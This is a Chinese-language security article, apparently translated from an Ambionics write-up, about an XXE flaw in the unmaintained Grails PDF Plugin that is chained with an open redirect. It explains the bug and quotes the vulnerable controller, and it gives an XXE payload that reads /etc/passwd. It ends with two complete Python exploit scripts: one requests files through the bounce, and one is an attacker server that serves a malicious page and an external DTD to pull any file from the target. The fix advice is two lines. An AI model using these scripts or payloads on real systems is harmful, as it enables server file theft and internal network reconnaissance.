GRAILS PDF插件引起的XXE攻击

360安全客 安全知识 69045 4

 

发现

前段时间，Ambionics团队遇到了一个非常经典的Grails案例，这是一个基于Groovy的MVC框架。这个案例中包含一个插件，用于从Groovy模板生成PDF，并且简单地命名为PDF Plugin。在寻找插件的源代码时，似乎它在过去的6年中并没有得到维护，最后一次提交的日期是2011年8月3日。显然，这引起了我们的注意。

 

插件

从插件的自述文件中提取出信息：

PDF插件允许Grails应用程序生成PDF，
并允许通过将应用程序中的现有页面即时转换为PDF，同时将它们发送到浏览器。
同时底层系统使用java.net中的xhtmlrenderer组件和iText来进行渲染。

可以注意到两件重要的事情：

它转换应用程序的现有页面。
它使用Flying Saucer进行HTML到PDF的转换。

经过进一步的检查，Flying Saucer，也就是将HTML转换为PDF的Java库，具有以下特性：

它能够获取资源文件，如图像，层叠样式表（CSS）等。
它不接受无效的HTML。
它使用Java XML解析器解析HTML。

与往常一样，当我们看到XML解析器时，我们会考虑它的XXE能力。万一我们可以读取服务器上的文件呢？

 

代码

这里是插件的主控制器的代码，并带有我自己的观点

// 在到达 /pdf/pdfForm URL 时调用eponym方法，
// params 数组是用户提交的GET / POST数据
def pdfForm = {
    try{
        byte[] b

        //构建一个基本URI，类似
        // http://localhost:80/base_path/
        def baseUri = request.scheme + "://" + request.serverName + ":" + request.serverPort + grailsAttributes.getApplicationUri(request)

        // 1:如果它是GET调用，就将url参数附加到基本URI，通过HTTP请求获取并呈现它
        // 例如，如果我们获取http://target.com/pdf/pdfForm?url=/test.html，它会尝试渲染http://localhost/test.html
        if(request.method == "GET") {
            def url = baseUri + params.url + '?' + request.getQueryString()
            //println "BaseUri is $baseUri"
            //println "Fetching url $url"
            b = pdfService.buildPdf(url)
        }
        //  2：如果它是一个POST调用，产生从控制器和方法的HTML内容，并将其馈送到发生器
        if(request.method == "POST"){
            def content
            if(params.template){
                //println "Template: $params.template"
                content = g.render(template:params.template, model:[pdf:params])
            }
            else{
                content = g.include(controller:params.pdfController, action:params.pdfAction, id:params.id, pdf:params)
            }
            b = pdfService.buildPdfFromString(content.readAsString(), baseUri)
        }
        response.setContentType("application/pdf")
        response.setHeader("Content-disposition", "attachment; filename=" + (params.filename ?: "document.pdf"))
        response.setContentLength(b.length)
        response.getOutputStream().write(b)
    }
    // 在错误的情况下，重定向到URL参数指定的URL 
    catch (e) {
        println "there was a problem with PDF generation ${e}"
        if(params.template) render(template:params.template)
        if(params.url) redirect(uri:params.url + '?' + request.getQueryString())
        else redirect(controller:params.pdfController, action:params.pdfAction, params:params)
    }
}

从代码看来，PDF插件有两种生成PDF的方式：

从本地URL发送GET请求到页面，并通过pdfService.buildPdf进行渲染
从给定的Groovy控制器和方法生成HTML内容，并通过pdfService.buildPdfFromString将其提供给PDF生成器

由于我们不控制服务器上的任何Groovy模板或控制器，因此我们对第二种选择不感兴趣。第一个看起来更有希望：它向本地URI发出HTTP请求。

 

第1步：获取我们的HTML页面

虽然它有时可能很有用（例如绕过IP过滤器或在内部网络中攻击HTTP服务），但让模块为我们获取本地URI并将其作为PDF返回并不是很有可能实现。我们想要的是完全控制提供给PDF渲染器的HTML页面。
幸运的是，解决方案在同一段代码中：
catch()调用通过将我们重定向到我们选择的URL（params.url）来处理错误，以防在PDF生成期间发生任何异常。因此，我们有一个开放的重定向：

http://target.com/pdf/pdfForm?url=http://attacker.com/page.html

将重定向到

http://attacker.com/page.html

因为代码将尝试发送一个HTTP查询

http://target.com/http://attacker.com/page.html

这将导致错误，抛出异常。
因此，我们通过以下构造，来发出一个GET请求：

http://target.com/pdf/pdfForm?url=pdf/pdfForm?url=http://attacker.com/page.html

(注意pdf/pdfForm?url=部分的重复）
大致如下图：

1.pdfForm方法将我们的URL参数追加到baseUri，并在内部获取它
2.服务器向http://localhost/pdf/pdfForm?url=http://attacker.com/page.html发出GET请求
3.服务器将http://attacker.com/page.html附加到baseUri
4,服务器向http://localhost/http://attacker.com/page.html发出请求
5.请求失败（404）
6.由于请求失败，会引发异常，导致重定向到http://attacker.com/page.html
7.我们的第一个请求导致http://attacker.com/page.html 以PDF格式呈现

我们来用这个问题尝试渲染一下hello world

GET /page.html?url=/pdf/pdfForm?url=http://10.0.0.138/page.html?url=http://10.0.0.138/page.html?url=/pdf/pdfForm?url=http://10.0.0.138/page.html


我们现在可以让服务器渲染我们选择的页面！
从这一点来看，第一个想法是使用file：//协议而不是标准的http：//
但是它不起作用，不过这并不重要，因为这一点已经大大拓宽了我们的攻击面。

 

第2步：使用渲染器

现在我们控制了我们的页面内容，让我们继续并验证Flying Saucer。
例如，让我们让它用一个<img src="image.jpg" />标签来渲染图像：

或者一些CSS：

 

第3步：探索

现在是时候尝试一个简单的XXE：

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html [
    <!ENTITY goodies SYSTEM "file:///etc/passwd">
]>
<html>
    <body>
        <!-- 它毕竟是HTML，但是为什么不很好地渲染我们的输出 -->
        <pre>&goodies;</pre>
    </body>
</html>

这产生

列出目录也是可能的，通过相同的变量：

使用Flying Saucer和pdftotext的CSS解析功能，我们可以完全自动化该过程。

利用我们可以从服务器获取关键数据，并帮助我们映射内部网络。

 

漏洞修复

即使插件不是最近的，这里也有关于如何解决这个问题的建议，并且不需要太多的代码：

阻止XXE在xml的解析器中
阻止重定向

 

Exploit

dump_file.py

#!/usr/bin/python3
# Grails PDF Plugin XXE
# cf
# https://www.ambionics.io/blog/grails-pdf-plugin-xxe

import requests
import sys
import os

# Base URL of the Grails target
URL = 'http://10.0.0.179:8080/grailstest'
# "Bounce" HTTP Server
BOUNCE = 'http://10.0.0.138:7777/'


session = requests.Session()
pdfForm = '/pdf/pdfForm?url='
renderPage = 'render.html'

if len(sys.argv) < 0:
    print('usage: ./%s <resource>' % sys.argv[0])
    print('e.g.:  ./%s file:///etc/passwd' % sys.argv[0])
    exit(0)

resource = sys.argv[1]

# Build the full URL
full_url = URL + pdfForm + pdfForm + BOUNCE + renderPage
full_url += '&resource=' + sys.argv[1]

r = requests.get(full_url, allow_redirects=False)

#print(full_url)

if r.status_code != 200:
    print('Error: %s' % r)
else:
    with open('/tmp/file.pdf', 'wb') as handle:
        handle.write(r.content)
    os.system('pdftotext /tmp/file.pdf')
    with open('/tmp/file.txt', 'r') as handle:
        print(handle.read(), end='')

server.py

#!/usr/bin/python3
# Grails PDF Plugin XXE
# cf
# https://www.ambionics.io/blog/grails-pdf-plugin-xxe
#
# Server part of the exploitation
#
# Start it in an empty folder:
# $ mkdir /tmp/empty
# $ mv server.py /tmp/empty
# $ /tmp/empty/server.py

import http.server
import socketserver
import sys


BOUNCE_IP = '10.0.0.138'
BOUNCE_PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 80

# Template for the HTML page
template = """<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html [
 <!ENTITY % start "<![CDATA[">
 <!ENTITY % goodies SYSTEM "[RESOURCE]">
 <!ENTITY % end "]]>">
 <!ENTITY % dtd SYSTEM "http://[BOUNCE]/out.dtd">
%dtd;
]>
<html>
    <head>
        <style>
            body { font-size: 1px; width: 1000000000px;}
        </style>
    </head>
    <body>
        <pre>&all;</pre>
    </body>
</html>"""

# The external DTD trick allows us to get more files; they would've been invalid
# otherwise
# See: https://www.vsecurity.com/download/papers/XMLDTDEntityAttacks.pdf
dtd = """<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">
"""

# Really hacky. When the render.html page is requested, we extract the
# 'resource=XXX' part of the URL and create an HTML file which XXEs it.
class GetHandler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        if 'render.html' in self.path:
            resource = self.path.split('resource=')[1]
            print('Resource: %s' % resource)
            page = template
            page = page.replace('[RESOURCE]', resource)
            page = page.replace('[BOUNCE]', '%s:%d' % (BOUNCE_IP, BOUNCE_PORT))

            with open('render.html', 'w') as handle:
                handle.write(page)

        return super().do_GET()


Handler = GetHandler
httpd = socketserver.TCPServer(("", BOUNCE_PORT), Handler)

with open('out.dtd', 'w') as handle:
    handle.write(dtd)

print("Started HTTP server on port %d, press Ctrl-C to exit..." % BOUNCE_PORT)
try:
    httpd.serve_forever()
except KeyboardInterrupt:
    print("Keyboard interrupt received, exiting.")
    httpd.server_close()
（完）